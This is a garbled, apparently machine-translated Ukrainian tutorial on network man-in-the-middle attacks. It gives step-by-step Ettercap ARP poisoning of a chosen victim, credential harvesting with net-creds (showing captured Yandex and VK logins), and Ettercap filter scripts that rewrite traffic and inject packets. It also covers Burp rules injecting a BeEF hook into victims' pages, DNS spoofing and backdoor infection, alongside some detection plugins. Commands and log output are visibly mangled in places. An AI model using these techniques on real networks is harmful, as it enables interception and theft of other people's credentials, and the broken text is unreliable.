Хакери використовують для перенаправлення трафіку. Способи атак хакерів. Заміна даних за допомогою Burp

Методи перехоплення мережевого трафіку

Прослуховування мережі за допомогою програм мережевих аналізаторів, є першим, найбільш простим способомперехоплення даних.

Для захисту від прослуховування мережі застосовуються спеціальні програминаприклад, AntiSniff, які здатні виявляти в мережі комп'ютери, зайняті прослуховуванням мережного трафіку.

Програми-антисніфери для вирішення своїх завдань використовують особливу ознаку наявності в мережі пристроїв, що прослуховують – мережна плата комп'ютера-сніфера повинна знаходитися в спеціальному режимі прослуховування. Перебуваючи в режимі прослуховування, мережеві комп'ютери особливим чином реагують на ІР-дейтаграми, що посилаються на адресу хоста, що тестується. Наприклад, хости, що прослуховують, як правило, обробляють весь трафік, що надходить, не обмежуючись тільки посланими на адресу хоста дейтаграмами. Є й інші ознаки, що вказують на підозрілу поведінку хоста, яка може розпізнати програма AntiSniff.

Безсумнівно, прослуховування дуже корисне з погляду зловмисника, оскільки дозволяє отримати безліч корисної інформації – паролі, що передаються по мережі, адреси комп'ютерів мережі, конфіденційні дані, листи та інше. Однак просте прослуховування не дозволяє хакеру втручатися в мережеву взаємодію між двома хостами з метою модифікації та спотворення даних. Для вирішення такого завдання потрібна складніша технологія.

Щоб перехопити і замкнути на себе процес мережевої взаємодії між двома хостами А та В зловмисник може підмінити IP-адреси взаємодіючих хостів своєю IP-адресою, надіславши хостам А та В фальсифіковані повідомлення ARP (Address Resolution Protocol – Протокол дозволу адрес).

Мал. 1 Неправдиві запити ARP

Подивимося, як хакер може скористатися протоколом ARP до виконання перехоплення мережевої взаємодії між хостами А і У.

Для перехоплення мережевого трафіку між хостами А та В хакер нав'язує цим хостам свою IP-адресу, щоб А та В використовували цю фальсифіковану IP-адресу при обміні повідомленнями. Для нав'язування своєї IP-адреси хакер виконує такі операції.

  • Зловмисник визначає МАС-адреси хостів А та В, наприклад, за допомогою команди nbtstat з пакета W2RK.
  • Зловмисник відправляє на виявлені МАС-адреси хостів А та В повідомлення, що є фальсифікованими ARP-відповідями на запити дозволу IP-адрес хостів у МАС-адреси комп'ютерів. Хосту А повідомляється, що IP-адресу хоста відповідає МАС-адресу комп'ютера зловмисника; хосту В повідомляється, що IP-адреса хоста А також відповідає МАС-адреса комп'ютера зловмисника.
  • Хости А і В заносять отримані МАС-адреси у свої кеші ARP і далі використовують їх для надсилання повідомлень один одному. Оскільки IP-адреси А і В відповідає МАС-адреса комп'ютера зловмисника, хости А і В, нічого не підозрюючи, спілкуються через посередника, здатного робити з їхніми посланнями що завгодно.

Для захисту від таких атак мережеві адміністратори повинні підтримувати базу даних з таблицею відповідності МАС-адрес та IP-адрес своїх мережевих комп'ютерів.

У мережах UNIX такого роду атаку помилковими запитами ARP можна реалізувати за допомогою системних утиліт відстеження та управління мережним трафіком, наприклад, arpredirect. На жаль, у мережах Windows такі надійні утиліти, мабуть, не реалізовані. Наприклад, на сайті NTsecurity можна завантажити утиліту GrabitAII, представлену як засіб для перенаправлення трафіку між мережевими хостами. Однак елементарна перевірка працездатності утиліти GrabitAII показує, що до успіху в реалізації її функцій ще далеко.

Щоб перехопити мережевий трафік, зловмисник може підмінити реальну IP-адресу мережевого маршрутизатора своєю IP-адресою, виконавши це, наприклад, за допомогою фальсифікованих ICMP-повідомлень Redirect. Отримане повідомлення Redirect хост А повинен, згідно з документом RFC-1122, сприйняти як відповідь на дейтаграму, надіслану іншому хосту, наприклад, В. Свої дії на повідомлення Redirect хост А визначає, виходячи з вмісту отриманого повідомлення Redirect, і якщо Redirect задати перенаправлення дейтаграм з А в В за новим маршрутом, саме це хост А і зробить.

Мал. 2 Хибна маршрутизація

На виконання помилкової маршрутизації зловмисник повинен знати деякі подробиці про організацію локальної мережі, в якій знаходиться хост А, зокрема, IP-адреса маршрутизатора, через яку відправляється трафік з хоста А в В. Знаючи це, зловмисник сформує IP-дейтаграму, в якій IP-адреса відправника визначена як IP-адреса маршрутизатора, а одержувачем вказано хост А. Також до дейтаграми включається повідомлення ICMP Redirect з полем адреси нового маршрутизатора, встановленим як IP-адреса комп'ютера зловмисника. Отримавши таке повідомлення, хост А надсилатиме всі повідомлення за IP-адресою комп'ютера зловмисника.

Для захисту від такої атаки слід відключити (наприклад, за допомогою брандмауера) на хості А обробку повідомлень ICMP Redirect, а виявити IP-адресу комп'ютера зловмисника може команда tracert (Unix це команда tracerout). Ці утиліти здатні знайти маршрут, що з'явився в локальній мережі додатковий, непередбачений при інсталяції, якщо адміністратор мережі проявить пильність.

Наведене вище приклади перехоплень (якими можливості зловмисників далеко не обмежуються) переконують у необхідності захисту даних, що передаються мережею, якщо даних міститься конфіденційна інформація. Єдиним методом захисту від перехоплень мережевого трафіку є використання програм, що реалізують криптографічні алгоритми та протоколи шифрування, і дозволяють запобігти розкриттю та заміні секретної інформації. Для вирішення таких завдань криптографія надає засоби для шифрування, підпису та перевірки автентичності повідомлень, що передаються за захищеними протоколами.

Практичну реалізацію всіх криптографічних методів захисту обміну надають мережі VPN(Virtual Private Network – Віртуальні приватні мережі).

Перехоплення TCP-з'єднання

Найбільш витонченою атакою перехоплення мережевого трафіку слід вважати захоплення TCP-з'єднання (TCP hijacking), коли хакер шляхом генерації та відсилання на хост TCP-пакетів, що атакуються, перериває поточний сеанс зв'язку з хостом. Далі, користуючись можливостями протоколу TCP щодо відновлення перерваного TCP-з'єднання, хакер перехоплює перерваний сеанс зв'язку та продовжує його замість відключеного клієнта.

Для виконання атак перехоплення TCP-з'єднання створено кілька ефективних утиліт, проте всі вони реалізовані для платформи Unix, і на веб-сайтах Web ці утиліти представлені лише у вигляді вихідних кодів. Таким чином, від атак методом перехоплення TCP-з'єднання користі не багато.

Протокол TCP (Transmission Control Protocol – Протокол управління передачею) одна із базових протоколів транспортного рівня OSI, що дозволяє встановлювати логічні з'єднання по віртуальному каналу зв'язку. Цим каналом передаються та приймаються пакети з реєстрацією їх послідовності, здійснюється управління потоком пакетів, організовується повторна передача спотворених пакетів, а наприкінці сеансу канал зв'язку розривається. Протокол TCP є єдиним базовим протоколоміз сімейства TCP/IP, що має просунуту систему ідентифікації повідомлень та з'єднання.

Огляд програмних пакетних сніферів

Усі програмні сніфери можна умовно розділити на дві категорії: сніфери, які підтримують запуск командного рядкаі сніфери, що мають графічний інтерфейс. При цьому зазначимо, що існують сніфери, які поєднують у собі обидві ці можливості. Крім того, сніфери відрізняються один від одного протоколами, які вони підтримують, глибиною аналізу перехоплених пакетів, можливостями налаштування фільтрів, а також можливістю сумісності з іншими програмами.

Зазвичай вікно будь-якого сніфера з графічним інтерфейсомскладається з трьох областей. У першій їх відображаються підсумкові дані перехоплених пакетів. Зазвичай у цій галузі відображається мінімум полів, а саме: час перехоплення пакета; IP-адреси відправника та одержувача пакета; MAC-адреси відправника та одержувача пакета, вихідні та цільові адреси портів; тип протоколу (мережевий, транспортний чи прикладний рівень); деяка сумарна інформація про перехоплені дані. У другій області виводиться статистична інформація про окремий вибраний пакет, і, нарешті, у третій області пакет представлений у шістнадцятковому вигляді або в символьній формі - ASCII.

Практично всі пакетні сніфери дозволяють проводити аналіз декодованих пакетів (саме тому пакетні сніфери також називають пакетними аналізаторами, або протокольними аналізаторами). Сніффер розподіляє перехоплені пакети за рівнями та протоколами. Деякі аналізатори пакетів здатні розпізнавати протокол та відображати перехоплену інформацію. Цей тип інформації зазвичай відображається у другій області вікна сніффера. Наприклад, кожен сніффер здатний розпізнавати протокол TCP, а просунуті сніфери можуть визначити, яким додатком породжений цей трафік. Більшість аналізаторів протоколів розпізнають понад 500 різних протоколів та вміють описувати та декодувати їх за іменами. Чим більше інформації може декодувати і подати на екрані сніффер, тим менше доведеться декодувати вручну.

Одна з проблем, з якою можуть стикатися аналізатори пакетів, - неможливість коректної ідентифікації протоколу, який використовує порт, відмінний від стандартного порту. Наприклад, з метою підвищення безпеки деякі відомі програми можуть налаштовуватися застосування портів, відмінних від портів за замовчуванням. Так, замість традиційного порту 80, зарезервованого для web-сервера, даний серверможна примусово переналаштувати на порт 8088 чи будь-який інший. Деякі аналізатори пакетів у подібній ситуації не здатні правильно визначити протокол і відображають лише інформацію про протокол нижнього рівня (TCP або UDP).

Існують програмні сніфери, до яких як плагіни або вбудовані модулі додаються програмні аналітичні модулі, що дозволяють створювати звіти з корисною аналітичною інформацією про перехоплений трафік.

Інша характерна риса більшості програмних аналізаторів пакетів – можливість налаштування фільтрів до та після захоплення трафіку. Фільтри виділяють із загального трафіку певні пакети за заданим критерієм, що дозволяє при аналізі трафіку позбавитися зайвої інформації.

Альтернативи Ettercap

Ettercap є найпопулярнішою програмою для атаки людина-посередині, але чи є вона найкращою? Протягом усієї інструкції ви бачитимете, що Ettercap майже ніколи не використовується поодинці, що завжди та чи інша програма вибудовується з нею в ланцюжок з обробки трафіку. Можливо, це додає гнучкості, взагалі такий підхід лежить в основі UNIX - одна програма виконує одне завдання, а кінцевий користувач комбінує різноманітні програми для досягнення бажаного результату. При такому підході код програм легше підтримувати, з таких мініатюрних «цеглинок» можна побудувати систему будь-якої складності та гнучкості. Тим не менш, мати п'ять відкритих консолей з різними завданнями, робота програм яких спрямована для досягнення одного єдиного результату - це не дуже зручно, це просто складніше, є можливість припуститися помилки на якомусь етапі, і вся налаштована система відпрацює вхолосту.

Net-Creds сніфіт:

  • Відвідані URL
  • надіслані запити POST
  • логіни/паролі з форм HTTP
  • логіни/паролі при базовій HTTP аутентифікації
  • пошуки HTTP
  • логіни/паролі FTP
  • логіни/паролі IRC
  • логіни/паролі POP
  • логіни/паролі IMAP
  • логіни/паролі Telnet
  • логіни/паролі SMTP
  • SNMP community string (загальний рядок)
  • всі підтримувані протоколи NTLMv1/v2 на кшталт HTTP, SMB, LDAP тощо.
  • Kerberos

Хороша добірка перехоплюваних, а driftnet у цьому плані простіше - лише показує перехоплені зображення.

Переключіть машину в режим пересилання (форвардингу).

Echo "1" > /proc/sys/net/ipv4/ip_forward

Запускаємо Ettercap з графічним інтерфейсом (-G):

Ettercap-G

Тепер вибираємо Hosts, у ньому підпункт Scan for hosts. Після закінчення сканування виберіть Hosts list:

В якості Цілі1 виберіть роутер (Add to Target 1), як Цілі2 виберіть пристрій, який будете атакувати (Add to Target 2).

Але тут може виникнути перша затримка, особливо якщо хостів багато. У різних інструкціях, у тому числі у відео представленому вище, автори лізуть у цільову машину (у всіх, чомусь там Windows) і за допомогою команди дивляться IP даної машини в локальній мережі. Погодьтеся, такий варіант є неприйнятним для реальних умов.

Якщо провести сканування за допомогою , можна отримати деяку додаткову інформаціюпро хостів, точніше кажучи, про фірму виробника мережевої карти:

Nmap -sn 192.168.1.0/24

Якщо даних все одно недостатньо, можна зробити сканування з визначенням ОС:

Nmap -O 192.168.1.0/24

Як бачимо, машина з IP 192.168.1.33 виявилася Windows, якщо це не знак згори, тоді що це? 😉 LOL

Саме її ми і додаємо як другу мету.

Тепер переходимо до пункту меню Mitm. Там виберіть ARP poisoning… Поставте галочку на Sniff remote connections.

Починаємо збирати врожай, в одному вікні запускаємо

Net-creds

в іншому (обидві програми можна запускати без опцій)

Driftnet

Відразу пішов збір даних:

У правій частині driftnet відкрило ще одне вікно, де показує перехоплені зображення. У вікні net-creds ми бачимо відвідувані сайти та перехоплені паролі:

1.2 Ettercap + Burp Suite
3. Перегляд даних (відвіданих сайтів та захоплених паролів) у Ettercap

У меню View нам доступні вкладки Connections та Profiles. Також можна поставити галочку на Resolve IP addresses (перетворювати IP-адреси). Connections – це, зрозуміло, з'єднання. Ettercap збирає у пам'яті профілі для кожного хоста, який він виявив. Там збираються користувачі та паролі. При цьому профілі із захопленими даними облікового запису (паролями), позначаються хрестиком:

Не треба надто сильно покладатися саме на профілі - позначаються, наприклад, перехоплені логіни та паролі для FTP та інших сервісів, для яких отриману інформацію програма однозначно може інтерпретувати як облікові дані. Сюди не потрапляють, наприклад, дані базової автентифікації, введені логіни та паролі до веб-форм.

У Connections найперспективніші дані позначені зірочкою:

Можна клацнути двічі на ці записи для перегляду подробиць:

Щоб не шукати ці зірочки по всьому списку, можна зробити сортування цим полем і всі вони виявляться нагорі або внизу:

Спіймана базова автентифікація:

Логін-пароль для Яндекса (виділено внизу):

Це перехоплені облікові дані для Вконтакте:

Також найцікавіші дані збираються у нижній консолі:

Якщо ви хочете зберігати результати роботи програми, скористайтеся цими опціями (вказуйте ключі при запуску Ettercap:

Опції ведення журналів: -w, --write записати перехоплені дані в pcapfile -L, --log записати весь трафік у цей -l, --log-info записати тільки пасивну інформацію в цей -m, --log-msg записати все повідомлення в цей -c, --compress використовувати стиснення gzip для файлів логів

4. Підміна даних на льоту в Ettercap
4.1 Використання фільтрів користувача Ettercap

Примітка: При всіх тестуваннях у мене не заробили фільтри Ettercap. Важко зрозуміти, справа в руках, в особливостях обладнання або в помилці в самій програмі ... Але для версії 0.8.2 (останньої на даний момент), є баг репорт про проблеми з фільтрами. Взагалі, судячи з баг репортів та форумів, фільтри або відвалюються часто, або взагалі вже давно не працюють. Є гілка, куди внесено зміни 5 місяців тому https://github.com/Ettercap/ettercap/tree/filter-improvements, тобто. filter-improvements (з поліпшенням фільтрів). І для цієї гілки і для версії з репозиторію було зроблено найрізноманітніші тести, випробувано різноманітні фільтри в різних умовах, витрачено багато часу, але результату немає. До речі, для встановлення версії filter-improvements у Kali Linux потрібно зробити так:

Sudo apt-get remove ettercap-graphical ettercap-common sudo apt-get install git debhelper bison check cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev ghostscript groff libtool libpcre3 libncurses5-dev git clone -b filtr-improvements https://github.com/Ettercap/ettercap.git cd ettercap/ mkdir =On ../ make sudo make install

Загалом, якщо у вас фільтри не заробили - ви не самотні. В інструкції про Ettercap я не можу пропустити тему фільтрів, тому вони будуть розглянуті у будь-якому випадку.

Поки ми використовували Ettercap для ARP спуфінгу. Це дуже поверхове застосування. Завдяки фільтрам користувача, ми можемо втручатися і змінювати трафік «на льоту». Фільтри повинні міститися в окремих файлах і перед використанням їх потрібно компілювати за допомогою програми Etterfilter. Хоча документація, на яку дане посилання, і здається куцею, але в поєднанні з прикладами, наведеними нижче, вона дозволить писати досить цікаві фільтри.

Давайте створимо наш перший фільтр, він буде всі зображення замінювати на це:

У файл з ім'ям img_replacer.filter скопіюйте:

If (ip.proto == TCP && tcp.dst == 80) ( if (search(DATA.data, "Accept-Encoding")) ( replace("Accept-Encoding", "Accept-Rubbish!"); # примітка: рядок заміни такої ж довжини як і оригінальний msg("zapped Accept-Encoding!\n"); ) ) if (ip.proto == TCP && tcp.src == 80) ( replace("src=", " src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("SRC=", "src=\"http://www.irongeek.com/images/jollypwn. png\" "); replace("src=", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("SRC=", "src=\" http://www.irongeek.com/images/jollypwn.png\" "); msg("Filter Ran.\n"); )

Скомпілюйте файл:

Etterfilter img_replacer.filter -o img_replacer.ef

Результати компіляції:

Etterfilter 0.8.2 copyright 2001-2015 Ettercap Development Team 14 protocol tables loaded: DECODED DATA udp tcp esp gre icmp ipv6 ip arp wifi fddi treth 13 constants loaded: VRRP OSPF GPRP source file "img_replacer.filter" done. Unfolding the meta-tree done. Перетворюючи позначки на реальні offsets done. Writing output до "img_replacer.ef" done. -> Script введено в 18 інструкцій.

Ключ -F говорить програмі, що потрібно завантажити фільтр із файлу, що йде за ключем. Після компіляції ім'я нашого нового файлу з фільтром img_replacer.ef, тому команда набуває вигляду:

Ettercap -G -F img_replacer.ef

Примітка: Коли ви моніторите веб-трафік, пакети, які ви бачите, можуть проходити у закодованій формі. Для ефективної роботифільтрів, Ettercap потребує трафіку у вигляді простого тексту. За деякими спостереженнями, тип кодування, який використовують веб-сторінки, це "Accept-Encoding: gzip, deflate"

Нижче фільтр, який затирає кодування, примушуючи до спілкування у формі простого тексту:

If (ip.proto == TCP && tcp.dst == 80) ( if (search(DATA.data, "gzip")) ( replace("gzip", " "); # примітка: чотири пробіли в рядку, що замінюється msg ("whited out gzip\n"); ) ) if (ip.proto == TCP && tcp.dst == 80) ( if (search(DATA.data, "deflate"))) ( replace("deflate", " "); # примітка: сім прогалин у рядку, що замінюється msg("whited out deflate\n"); ) )

Синтаксис написання фільтрів докладно описаний, а далі ще кілька прикладів:

# заміна тексту в пакеті: if (ip.proto == TCP && search(DATA.data, "lol"))( replace("lol", "smh"); msg("filter ran"); ) # показати повідомлення , якщо tcp портом є 22 if (ip.proto == TCP) ( if (tcp.src == 22 || tcp.dst == 22) ( msg("SSH packet\n"); ) ) # записати весь telnet трафік, також виконати./program на кожен пакет if (ip.proto == TCP) ( if (tcp.src == 23 || tcp.dst == 23) ( log(DATA.data, "./logfile.log "); exec("./program"); ​​) ) # записати весь трафік, крім http if (ip.proto == TCP && tcp.src != 80 && tcp.dst != 80) ( log(DATA.data , "./logfile.log"); .data + 20 = 0x4445; ) # відкинути всі пакети, що містять "ettercap" if (search(DECODED.data, "ettercap")) ( msg("some one is talking about us...\n"); drop( );kill(); ) # записати розшифровані ssh пакети, що відповідають регулярному виразу if (ip.proto == TCP) ( if (tcp.src == 22 || tcp.dst == 22) ( if (regex(DECODED.data, ".*login.*")) ( log(DECODED.data, "./decrypted_log"); ) ) ) # вбивство пакетів if (ip.ttl< 5) { msg("The packet will die soon\n"); } # то же самое для IPv6, но делая тривиальный тест убеждаемся, что перед нами действительно IPv6 пакеты if (eth.proto == IP6 && ipv6.hl < 5) { msg("The IPv6 packet will die soon\n"); } # сравнение строки на данный сдвиг if (DATA.data + 40 == "ette") { log(DATA.data, "./logfile"); } # вставить файл после указанного пакета if (tcp.src == 21 && search(DATA.data, "root")) { inject("./fake_response"); } # целиком заменить пакет на другой if (tcp.src == 23 && search(DATA.data, "microsoft")) { drop(); inject("./fake_telnet"); } # Изменение бинарных данных используя внешнюю программу if (udp.dst == 53 && pcre_regex(DATA.data, ".*\x03com\x00.*")) { log(DATA.data, "/tmp/payload"); drop(); execinject("/bin/sed "s/\x03com\x00/\x02my\x04page\x02de\x00/g" /tmp/payload"); udp.len += 7; exec("/bin/rm /tmp/payload"); msg("faked"); } # фильтровать только указанный IP адрес if (ip.src == "192.168.0.2") { drop(); } # делать то же самое для IPv6 if (ipv6.src == "2001:db8::1") { drop(); } # комбинируем IPv4 и IPv6 if (eth.proto == IP && ip.dst == "192.168.0.2") { msg("drop IPv4"); drop(); } if (eth.proto == IP6 && ipv6.dst == "2001:db8::1") { msg("drop IPv6"); drop(); } # транслировать tcp пакеты с порта 80 на 81 if (tcp.dst == 80) { tcp.dst -= 1; tcp.dst += 2; } # найти и покалечить пакеты ESP if (ip.proto == ESP) { DATA.data = "DEADDECAF"; }

4.2 Підміна даних за допомогою Burp

Запускаємо Ettercap та Burp як це описано у пункті 1.2 або у пункті 2.2.

У Burp переходимо в Proxy -> Options. Знаходимо там Match and Replace. Натискаємо Add для додавання нового правила.

  • Request header – це заголовок запиту
  • Request body - тіло запиту
  • Response header - заголовок відповіді
  • Response body - тіло відповіді
  • Request param name – Ім'я параметра запиту
  • Request param value - Значення параметра запиту
  • Request first line - Перший рядок запиту

Якщо необхідно змінити дані, передані шляхом GET, це стосується заголовків.

HTML розмітці також є таке поняття як head (тег head). До цього заголовку ті, про які сказано трохи вище, не мають жодного стосунку. Трохи вище йдеться про заголовки пакетів. Якщо ви хочете змінити вміст HTML сторінки, то потрібно замість Request header завжди вибирати Response body, навіть якщо ви збираєтеся змінювати вміст head head (наприклад, заголовок).

Якщо ви не знайомі з регулярними виразами, то, в принципі, нічого страшного: HTML багато прощає, і те, що йому незрозуміло, він просто ігнорує - цим можна користуватися. Якщо ж ви вмієте користуватись регулярними виразами, то я вас поважаю.)))

Наприклад створимо нове правило, Request header змінюємо на Response body. У самому правилі ми мінятимемо

.*

No Title

Поставте галочку на Regex match.

Тепер на всіх сайтах (без HTTPS) замість заголовка буде No Title:

Вставляємо довільний рядок після тега body (буде першим рядком у тексті). Request header змінюємо на Response body. Змінюємо

Поставте галочку на Regex match.

У верхньому правому кутку (залежить від верстки) з'являється напис «I am cool!». Можна вставляти CSS, JavaScript код, будь-який текст - будь-що. Можна взагалі все зі сторінки видалити, а потім заповнити її своїм вмістом – все залежить від вашої фантазії.

Була ідея трохи модифікувати кожну форму, щоб дані відправлялися на оригінальний сервер і сервер атакуючого (реалізувати мульти submit для кожної форми). Але розсудивши, що якщо дані, що передаються, не зашифровані і ми маємо до них доступ - то ми і так їх бачимо, ні на який сервер їх відправляти не потрібно. Тим не менш, якщо комусь знадобиться, реально працюючий приклад відправки даних з однієї форми відразу на кілька серверів.

5. Підчеплення на BeEF

Щоб почати використовувати можливості BeEF, нам потрібно впровадити в HTML код JavaScript файл, зазвичай це рядок виду:

Наступні два способи відрізняються лише шляхом застосування цього рядка.

5.1 Підчеплення BeEF за допомогою фільтрів Ettercap

[розділ буде підготовлено пізніше]

5.2 Підчеплення BeEF за допомогою Burp

Почати потрібно точно так, як написано в пункті 4.2. Тільки замість заміни заголовків та додавання тексту на сайт ми впровадимо JavaScript код у вигляді рядка:

У моєму випадку цей файл доступний на IP 192.168.1.36 на порту 3000. Файл так і називається hook.js (можна змінити налаштування). Тобто. у моєму випадку мені потрібно ввести рядок:

Це можна зробити, наприклад, створення нового правила, Request header змінюємо на Response body. У самому HTML коді має відбуватися заміна

Відмінно, при відкритті будь-якого сайту, який без HTTPS, в HTML код вставляється JavaScript код, який дозволяє через підчеплений браузер збирати інформацію та проводити різноманітні атаки:

6. Зараження бекдорами

Підміняти і заражати файли можна як за допомогою фільтрів Ettercap [які з якоїсь причини вже давно не працюють], так і за допомогою сторонніх додатків. Наприклад, на льоту це вміє робити BDFProxy. На жаль, BDFProxy досі не може оговтатися від квітневого (у 2016 році) оновлення Backdoor Factory: у Python пакет libmproxy був перейменований на mitmproxy. Для BDFProxy пакет libmproxy є необхідною залежністю, без цього пакета програма не запускається. Тому тепер, до «ремонту» BDFProxy, використовувати її не виходить, адже навіть за встановленого Backdoor Factory, програма BDFProxy скаржиться на відсутність бібліотеки libmproxy…

Аналогічну операцію можна виконати і з Burp Suite. Покроковий алгоритм представлений , немає сенсу вкотре його переписувати у розділ.

7. Використання плагінів Ettercap

Інформацію про плагіни Ettercap можна знайти. Плагінів досить багато, мені найцікавішими здаються ті, що описані нижче.

Плагіни можна підключити при запуску Ettercap, для цього є опція:

P, --plugin запустити цей

Також плагіни можна завантажити з графічного інтерфейсу:

[МАТЕРІАЛ У ПРОЦЕСІ ПІДГОТОВКИ]

7.1 arp_cop

Він повідомляє про підозрілу ARP активність пасивним моніторингом ARP запитів/відповідей. Він може повідомляти про спроби травлення ARP або прості IP-конфлікти або IP-змін. Якщо ви будуєте початковий список хостів, то плагін працюватиме точніше.

Ettercap -TQP arp_cop //

Приклад реального виявлення ARP спуфінгу:

Розгорнути

Mial@HackWare-Mint ~ $ sudo ettercap -TQP arp_cop // password for mial: ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Посилання на: eth0 -> 08:00:27:A3:08:4A 255.255.255.0 fe80::a00:27ff:fea3:84a/64 SSL dissection потребує valid "redir_command_on" script в etter.conf file vendor fingerprint 1766 tcp OS fingerprint 2182 відомі послуги Randomizing 255 hosts for scanning... Scanning whole netmask for 255 hosts... * |===================== =============================>

Mial@HackWare-Mint ~ $ sudo ettercap -TQP arp_cop // password for mial: ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Посилання на: eth0 -> 08:00:27:A3:08:4A 255.255.255.0 fe80::a00:27ff:fea3:84a/64 SSL dissection потребує valid "redir_command_on" script в etter.conf file vendor fingerprint 1766 tcp OS fingerprint 2182 відомі послуги Randomizing 255 hosts for scanning... Scanning whole netmask for 255 hosts... * |===================== =============================>| 100.00 % 3 hosts added to the hosts list... Запустити Unified sniffing... Text only interface activated... Hit "h" для власної Help Activating arp_cop plugin... arp_cop: plugin running... arp_cop: (new host ) 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1. ru 192.168.1.1 arp_cop: (WARNING ) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.6. ) 192.168.1.35 pretends to be 192.168 .1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) arp_cop: (WARNING) .1.1 arp_cop: (WARNING) 192.168 .1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192. .1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 19.1.1. rp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.8.1.8.1. tends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.161.1. WARNING) 192.168.1.35 pretends to ru 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 a2. 192. 168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop6:1. 168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.38 pre1. 192.168.1.35 pretends to be 192.168. 1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING). 1.1 arp_cop: (WARNING) 192.168. 1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 196.1.1.1. 1.35 pretends to be 192.168.1.1. ..........................

7.2 autoadd

Він буде автоматично додавати нових жертв у міру їхнього підключення до ARP травлення атаки mitm. Він шукає ARP запити в локальній мережі, і при виявленні плагін додасть хост до списку жертв, якщо список був вказаний як МЕТА. Хост додається, коли від нього видно arp запит.

7.3 chk_poison

Він виконує перевірку - чи успішні модулі arp травлення в ettercap. Він відправляє спуфлені ICMP відлуння пакети всім жертвам травлення вдаючи кожну жертву. Він може зловити ICMP відповідь з нашим MAC адресою як пункт призначення, це означає, що травлення між цими двома цілями успішно. Він перевіряє обидва шляхи кожного з'єднання.

7.4 dns_spoof

Цей плагін перериває DNS запити та відповідає спуфленою (підробленою) відповіддю. Ви можете вибрати, для якої адреси плагін повинен відповісти редагуванням файлу etter.dns. Плагін перехоплює A, AAAA, PTR, MX, WINS, SRV та TXT запити. Якщо це був A запит, ім'я шукається у файлі і повертається IP адресу (ви можете використовувати групові символи в імені).

Це ж застосовується і до запитів AAAA.

7.5 find_conn

Дуже простий плагін, який прослуховує ARP запити для показу всіх цілей, з якими хост хоче спілкуватися. Він також може допомогти вам у пошуках адрес в невідомих LAN.

Ettercap -TQzP find_conn ettercap -TQu -i eth0 -P find_conn

7.6 find_ettercap

Намагається ідентифікувати пакети ettercap надіслані до LAN. Він може бути корисним для виявлення чиїхось спроб використовувати ettercap. Не покладайтеся на нього на 100%, оскільки тести спрацьовують лише на конкретні послідовності/ідентифікаційні числа.

7.7 scan_poisoner

Перевірять, чи хтось труїть між якими-небудь хостами в списку і нами. Для початку він перевіряє, чи мають два хости у списку однаковий mac адреса. Це може означати, що один з них труїть нас прикидаючись іншим. Він може згенерувати багато помилкових спрацьовувань у проксі-arp оточенні. Ви повинні побудувати список хостів для виконання цієї перевірки. Після цього він відправляє icmp відлуння пакети кожному хосту в списку і перевіряє, чи mac адреса джерела відповіді адреси, який ми зберегли в списку з цим IP. Це може означати, що хтось труїть цей хост втілюючи, що має нашу IP адресу і перенаправляє перехоплений пакети нам. Ви не можете виконати цей активний тест у unoffensive (нешкідливому) режимі.

Ettercap -TQP scan_poisoner //

7.8 search_promisc

Він намагається знайти, чи сніффіт (прослуховує) хтось у нерозбірливому режимі. Він відправляє два різні погано сформовані arp запити кожної мети в списку хостів і чекає на відповіді. Якщо відповідь надійшла від цільового хоста, це більш-менш ймовірно, що ця мета має мережну карту в нерозбірливому режимі. Він може генерувати помилкові тривоги. Ви можете запустити його як з командного рядка або меню плагінів. Оскільки він прослуховує arp відповіді, буде краще, якщо ви не використовуватимете їх під час відправки arp запитів.

Ettercap -TQP search_promisc /192.168.0.1/ ettercap -TQP search_promisc //

Приклад вдалого вгадування двох мережевих карт, що у нерозбірливому режимі:

Розгорнути

Root@HackWare:~# ettercap -TQP search_promisc ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Опубліковано: eth0 -> 08:00:27:AF:30:B9 192.165.5.5.2.5.2.5.2. 27ff:feaf:30b9/64 SSL dissection потребує valid "redir_command_on" script в etter.conf file Ettercap не працює коректно. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0. Privileges dropped to EUID 65534 EGID 65534... : no scripts були specified, no starting up! Randomizing 255 hosts для scanning... Scanning whole netmask for 255 hosts... * |============================== ====================>

